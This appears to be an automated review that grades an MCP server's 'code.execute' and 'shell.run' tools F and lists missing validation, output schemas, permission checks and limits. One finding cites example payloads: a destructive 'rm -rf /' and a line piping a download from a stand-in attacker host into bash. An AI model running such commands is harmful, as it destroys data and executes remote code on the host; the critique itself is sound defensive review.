A federated protocol system for managing distributed agents with MCP (Model Context Protocol) tool discovery, registration, and invocation across multiple brokers and agents.
This MCP server has severe definition quality issues across both tools. While basic tool registration exists, descriptions are minimal, parameter documentation is vague, output schemas are undocumented, and both tools expose dangerous command execution without safeguards. The tools accept multiple interchangeable parameters (code vs command) creating ambiguity. No error handling guidance, no permission gating despite irreversible operations, and no pagination/response limits. The implementation treats parameters as free-form strings without validation or type constraints. Parameter descriptions lack actionable guidance on format, range, or valid values. Output structure is never documented, LLMs cannot plan downstream operations or extract the right data. Both tools are marked IRREVERSIBLE but have no confirmation pattern, dry-run capability, or recovery guidance.
Executes a command and returns its output.
Runs a shell command.
No input schema validation; parameters lack type constraints. Both tools accept 'code' and 'command' as interchangeable strings without enum or format constraints, inviting hallucinated or malicious payloads. Parameter descriptions are trivial (e.g., 'The command or code to execute') with no guidance on format, length, or allowed values.
Output schema completely undocumented. No documentation of what fields are returned, their types, or structure. LLMs cannot plan downstream operations or extract required data like exit codes, stdout, stderr, or signal values.
Irreversible operations ('code.execute' and 'shell.run' marked IRREVERSIBLE) lack confirmation or dry-run capability. No recovery guide in error responses. Agents have no way to preview or confirm command execution before running, risking catastrophic data loss or system compromise.
| Scored | Grade | Overall | Spec posture | Rubric |
|---|---|---|---|---|
| 2026-09-22 | F | 31 | 2026-07-28+ | v2 |
| 2026-03-09 | F | 14 | - | v1 |
Multiple parameters with overlapping meanings ('code' vs 'command' in both tools; 'code' vs 'command' in code.execute). LLMs conflate similar parameter names, causing ambiguous or incorrect calls. 'args' array accepted but relationship to command string never documented.
No error handling guidance. Error responses provide no actionable recovery path. LLMs receive bare error codes or stack traces (typical of unguided error handling) with no indication whether to retry, ask the user, or abandon the operation.
No permission gating or audit trail. Both tools execute arbitrary system commands without verifying agent authority, permission checks, or logging caller identity. An agent compromised or misused could execute destructive commands without accountability.
Ambiguous naming: 'code.execute' vs 'shell.run' are nearly synonymous. LLMs waste reasoning cycles deciding which to call. If code.execute runs shell commands too, the distinction is unclear. Tool names should make it obvious when to use each.
No input sanitization visible. 'command' and 'code' parameters are passed directly to exec.Command without shell injection or path traversal protection. LLMs can be tricked into passing malicious payloads (e.g., 'rm -rf /' or '`curl attacker.com | bash`').
Tool descriptions extremely brief (under 50 chars each). Descriptions do not answer: What does the tool do? When should the LLM call it? What does it return? Descriptions fail to guide tool selection or explain side effects.
No response field documentation. Unknown whether stderr, stdout, exit code, signal, or execution time is returned. If 'shell.run' returns only stdout but agent needs exit code for control flow, the tool is useless for error detection.
'tool' parameter in shell.run is redundant and confusing. Passing the tool name as a parameter is a metaprogramming anti-pattern, the tool name should be implicit in the MCP protocol's tool selection. This wastes a parameter slot and adds confusion.
No timeout, resource limits, or rate limits documented. A runaway agent or adversary could spawn infinite subprocesses, exhaust memory, or block the server indefinitely. No guidance on how to cancel long-running commands.